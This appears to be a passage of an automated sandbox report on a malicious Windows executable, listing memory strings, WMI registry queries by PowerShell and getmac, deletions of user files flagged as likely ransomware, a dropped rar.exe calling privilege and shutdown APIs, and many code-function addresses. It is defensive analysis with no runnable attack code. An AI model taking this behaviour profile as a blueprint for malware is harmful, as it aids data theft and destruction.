Source: X9g8L63QGs.exe, 00000007.00000003.1483776725.000001E7C2F4D000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1462666866.000001E7C2A0E000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1691353377.000001E7C2F4D000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1691006091.000001E7C2A0F000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1445882054.000001E7C2A0E000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1432565672.000001E7C2A0E000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1408663369.000001E7C2A0E000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1482149453.000001E7C29FF000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000002.1694260601.000001E7C2A0F000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1413736989.000001E7C2F4D000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1461372548.000001E7C2F4D000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1450291264.000001E7C2A0E000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1456637981.000001E7C2A0E000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1441716609.000001E7C2F4D000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1593098042.000001E7C2A0F000.00000004.00000020.00020000.00000000.sdmp, X9g8L63QGs.exe, 00000007.00000003.1413736989.000001E7C2DF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://yahoo.com/

Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49913

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Window created: window name: CLIPBRDWNDCLASS

Spam, unwanted Advertisements and Ransom Demands

Modifies existing user documents (likely ransomware behavior)

Source: C:\Users\user\Desktop\X9g8L63QGs.exe	File deleted: C:\Users\user\AppData\Local\Temp\? ?\Common Files\Desktop\PWZOQIFCAN.jpg	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	File deleted: C:\Users\user\AppData\Local\Temp\? ?\Common Files\Desktop\WHZAGPPPLA.mp3	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	File deleted: C:\Users\user\AppData\Local\Temp\? ?\Common Files\Desktop\HQJBRDYKDE.mp3	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	File deleted: C:\Users\user\AppData\Local\Temp\? ?\Common Files\Desktop\NIRMEKAMZH.png	Jump to behavior
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	File deleted: C:\Users\user\AppData\Local\Temp\? ?\Common Files\Desktop\VWDFPKGDUF.jpg	Jump to behavior

Source: cmd.exe

Process created: 67

System Summary

Writes or reads registry keys via WMI

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\getmac.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetMultiStringValue
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetStringValue

Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe

Code function: 97_2_00007FF7080B3A70: CreateFileW,CreateFileW,DeviceIoControl,CloseHandle,

97_2_00007FF7080B3A70

Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe

Code function: 97_2_00007FF7080DB57C GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitWindowsEx,

97_2_00007FF7080DB57C

Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 4_2_00007FF7C2668BD0	4_2_00007FF7C2668BD0
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 4_2_00007FF7C2680938	4_2_00007FF7C2680938
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 4_2_00007FF7C26869D4	4_2_00007FF7C26869D4
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 4_2_00007FF7C2661000	4_2_00007FF7C2661000
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 4_2_00007FF7C266A34B	4_2_00007FF7C266A34B
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 4_2_00007FF7C2671BC0	4_2_00007FF7C2671BC0
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 4_2_00007FF7C2686488	4_2_00007FF7C2686488
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 4_2_00007FF7C2680938	4_2_00007FF7C2680938
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 4_2_00007FF7C2683C80	4_2_00007FF7C2683C80
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 4_2_00007FF7C2672C80	4_2_00007FF7C2672C80
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 4_2_00007FF7C2685C70	4_2_00007FF7C2685C70
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 4_2_00007FF7C266A4E4	4_2_00007FF7C266A4E4
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 4_2_00007FF7C2678154	4_2_00007FF7C2678154
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 4_2_00007FF7C268411C	4_2_00007FF7C268411C
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 4_2_00007FF7C2673A14	4_2_00007FF7C2673A14
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 4_2_00007FF7C26721D4	4_2_00007FF7C26721D4
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 4_2_00007FF7C26719B4	4_2_00007FF7C26719B4
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 4_2_00007FF7C267DACC	4_2_00007FF7C267DACC
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 4_2_00007FF7C267DF60	4_2_00007FF7C267DF60
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 4_2_00007FF7C2678804	4_2_00007FF7C2678804
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 4_2_00007FF7C2671FD0	4_2_00007FF7C2671FD0
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 4_2_00007FF7C26717B0	4_2_00007FF7C26717B0
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 4_2_00007FF7C2689798	4_2_00007FF7C2689798
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 4_2_00007FF7C2669870	4_2_00007FF7C2669870
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 4_2_00007FF7C26818E4	4_2_00007FF7C26818E4
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 4_2_00007FF7C266AD1D	4_2_00007FF7C266AD1D
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 4_2_00007FF7C2673610	4_2_00007FF7C2673610
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 4_2_00007FF7C267E5E0	4_2_00007FF7C267E5E0
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 4_2_00007FF7C2671DC4	4_2_00007FF7C2671DC4
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 4_2_00007FF7C2675DA0	4_2_00007FF7C2675DA0
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 4_2_00007FF7C2679F10	4_2_00007FF7C2679F10
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 4_2_00007FF7C2685EEC	4_2_00007FF7C2685EEC
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FF7C26869D4	7_2_00007FF7C26869D4
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FF7C2661000	7_2_00007FF7C2661000
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FF7C266A34B	7_2_00007FF7C266A34B
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FF7C2668BD0	7_2_00007FF7C2668BD0
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FF7C2671BC0	7_2_00007FF7C2671BC0
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FF7C2686488	7_2_00007FF7C2686488
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FF7C2680938	7_2_00007FF7C2680938
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FF7C2683C80	7_2_00007FF7C2683C80
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FF7C2672C80	7_2_00007FF7C2672C80
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FF7C2685C70	7_2_00007FF7C2685C70
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FF7C266A4E4	7_2_00007FF7C266A4E4
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FF7C2678154	7_2_00007FF7C2678154
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FF7C2680938	7_2_00007FF7C2680938
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FF7C268411C	7_2_00007FF7C268411C
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FF7C2673A14	7_2_00007FF7C2673A14
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FF7C26721D4	7_2_00007FF7C26721D4
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FF7C26719B4	7_2_00007FF7C26719B4
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FF7C267DACC	7_2_00007FF7C267DACC
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FF7C267DF60	7_2_00007FF7C267DF60
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FF7C2678804	7_2_00007FF7C2678804
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FF7C2671FD0	7_2_00007FF7C2671FD0
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FF7C26717B0	7_2_00007FF7C26717B0
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FF7C2689798	7_2_00007FF7C2689798
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FF7C2669870	7_2_00007FF7C2669870
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FF7C26818E4	7_2_00007FF7C26818E4
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FF7C266AD1D	7_2_00007FF7C266AD1D
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FF7C2673610	7_2_00007FF7C2673610
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FF7C267E5E0	7_2_00007FF7C267E5E0
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FF7C2671DC4	7_2_00007FF7C2671DC4
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FF7C2675DA0	7_2_00007FF7C2675DA0
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FF7C2679F10	7_2_00007FF7C2679F10
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FF7C2685EEC	7_2_00007FF7C2685EEC
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0B8B12F0	7_2_00007FFB0B8B12F0
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0B8B1880	7_2_00007FFB0B8B1880
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0C039D00	7_2_00007FFB0C039D00
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0C09CF30	7_2_00007FFB0C09CF30
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0C0A4C70	7_2_00007FFB0C0A4C70
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0C042250	7_2_00007FFB0C042250
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0C0392B0	7_2_00007FFB0C0392B0
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0C0AACA0	7_2_00007FFB0C0AACA0
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0C07BCC0	7_2_00007FFB0C07BCC0
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0C02BD30	7_2_00007FFB0C02BD30
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0C04DDB0	7_2_00007FFB0C04DDB0
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0C030DC0	7_2_00007FFB0C030DC0
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0C064E70	7_2_00007FFB0C064E70
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0C0BCEA0	7_2_00007FFB0C0BCEA0
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0C0D4FC0	7_2_00007FFB0C0D4FC0
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0C0ABFC0	7_2_00007FFB0C0ABFC0
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0C048020	7_2_00007FFB0C048020
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0C047040	7_2_00007FFB0C047040
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0C02A8C0	7_2_00007FFB0C02A8C0
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0C036930	7_2_00007FFB0C036930
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0C082950	7_2_00007FFB0C082950
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0C0499A0	7_2_00007FFB0C0499A0
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0C02FA10	7_2_00007FFB0C02FA10
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0C08BB00	7_2_00007FFB0C08BB00
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0C084B20	7_2_00007FFB0C084B20
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0C076B40	7_2_00007FFB0C076B40
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0C029B90	7_2_00007FFB0C029B90
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0C0D2BF0	7_2_00007FFB0C0D2BF0
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0C023C10	7_2_00007FFB0C023C10
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0C05CC59	7_2_00007FFB0C05CC59
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0C07CC40	7_2_00007FFB0C07CC40
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0C03CC40	7_2_00007FFB0C03CC40
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0C0B8C80	7_2_00007FFB0C0B8C80
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0C0C54A0	7_2_00007FFB0C0C54A0
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0C0294D0	7_2_00007FFB0C0294D0
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0C06A510	7_2_00007FFB0C06A510
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0C024570	7_2_00007FFB0C024570
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0C07B5B0	7_2_00007FFB0C07B5B0
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0C0515A0	7_2_00007FFB0C0515A0
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0C0445A0	7_2_00007FFB0C0445A0
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0C04E5C0	7_2_00007FFB0C04E5C0
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0C033650	7_2_00007FFB0C033650
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0C07E670	7_2_00007FFB0C07E670
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0C0806C0	7_2_00007FFB0C0806C0
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0C097750	7_2_00007FFB0C097750
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0C0927E6	7_2_00007FFB0C0927E6
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0C024820	7_2_00007FFB0C024820
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0C08C840	7_2_00007FFB0C08C840
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0C02288E	7_2_00007FFB0C02288E
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0C065880	7_2_00007FFB0C065880
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0C1540B0	7_2_00007FFB0C1540B0
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0C024120	7_2_00007FFB0C024120
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0C0321E0	7_2_00007FFB0C0321E0
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0C03D2B0	7_2_00007FFB0C03D2B0
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0C0E42B0	7_2_00007FFB0C0E42B0
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0C06F2D0	7_2_00007FFB0C06F2D0
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0C04F2F0	7_2_00007FFB0C04F2F0
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0C0232F5	7_2_00007FFB0C0232F5
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0C04D310	7_2_00007FFB0C04D310
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0C0AA300	7_2_00007FFB0C0AA300
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0C027336	7_2_00007FFB0C027336
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0C087350	7_2_00007FFB0C087350
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0C03C380	7_2_00007FFB0C03C380
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0C0943B0	7_2_00007FFB0C0943B0
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0C154418	7_2_00007FFB0C154418
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0C1543F0	7_2_00007FFB0C1543F0
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB0C1A7C48	7_2_00007FFB0C1A7C48
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB1AB121D0	7_2_00007FFB1AB121D0
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB1AB01580	7_2_00007FFB1AB01580
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB1AB018C0	7_2_00007FFB1AB018C0
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB1AB011A0	7_2_00007FFB1AB011A0
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB1B6F530C	7_2_00007FFB1B6F530C
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB1B6F32A0	7_2_00007FFB1B6F32A0
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB1B712E60	7_2_00007FFB1B712E60
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB1BA571A0	7_2_00007FFB1BA571A0
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB1BA410C0	7_2_00007FFB1BA410C0
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB1BA43B20	7_2_00007FFB1BA43B20
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB1BB16090	7_2_00007FFB1BB16090
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB1BB13B50	7_2_00007FFB1BB13B50
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB1BB13DF0	7_2_00007FFB1BB13DF0
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB1BB11000	7_2_00007FFB1BB11000
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB1BB12DB0	7_2_00007FFB1BB12DB0
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB1BB1C8D8	7_2_00007FFB1BB1C8D8
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB1C258300	7_2_00007FFB1C258300
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB1C2563A0	7_2_00007FFB1C2563A0
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB1D34AC30	7_2_00007FFB1D34AC30
Source: C:\Users\user\Desktop\X9g8L63QGs.exe	Code function: 7_2_00007FFB1D5BAA40	7_2_00007FFB1D5BAA40
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_00007FFAA9C53027	20_2_00007FFAA9C53027
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF7080A0A2C	97_2_00007FF7080A0A2C
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF7080C7B24	97_2_00007FF7080C7B24
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF70809ABA0	97_2_00007FF70809ABA0
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF7080BAE10	97_2_00007FF7080BAE10
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF7080A1180	97_2_00007FF7080A1180
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF7080982F0	97_2_00007FF7080982F0
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF7080A54C0	97_2_00007FF7080A54C0
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF70809B540	97_2_00007FF70809B540
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF708091884	97_2_00007FF708091884
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF7080CD91C	97_2_00007FF7080CD91C
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF7080BD97C	97_2_00007FF7080BD97C
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF7080949B8	97_2_00007FF7080949B8
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF7080D69FD	97_2_00007FF7080D69FD
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF7080D5A70	97_2_00007FF7080D5A70
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF7080CFA6C	97_2_00007FF7080CFA6C
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF7080FAAC0	97_2_00007FF7080FAAC0
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF70809CB14	97_2_00007FF70809CB14
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF7080D4B38	97_2_00007FF7080D4B38
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF7080E9B98	97_2_00007FF7080E9B98
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF7080A8C30	97_2_00007FF7080A8C30
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF7080D5C8C	97_2_00007FF7080D5C8C
Source: C:\Users\user\AppData\Local\Temp\_MEI33962\rar.exe	Code function: 97_2_00007FF7080E6D0C	97_2_00007FF7080E6D0C
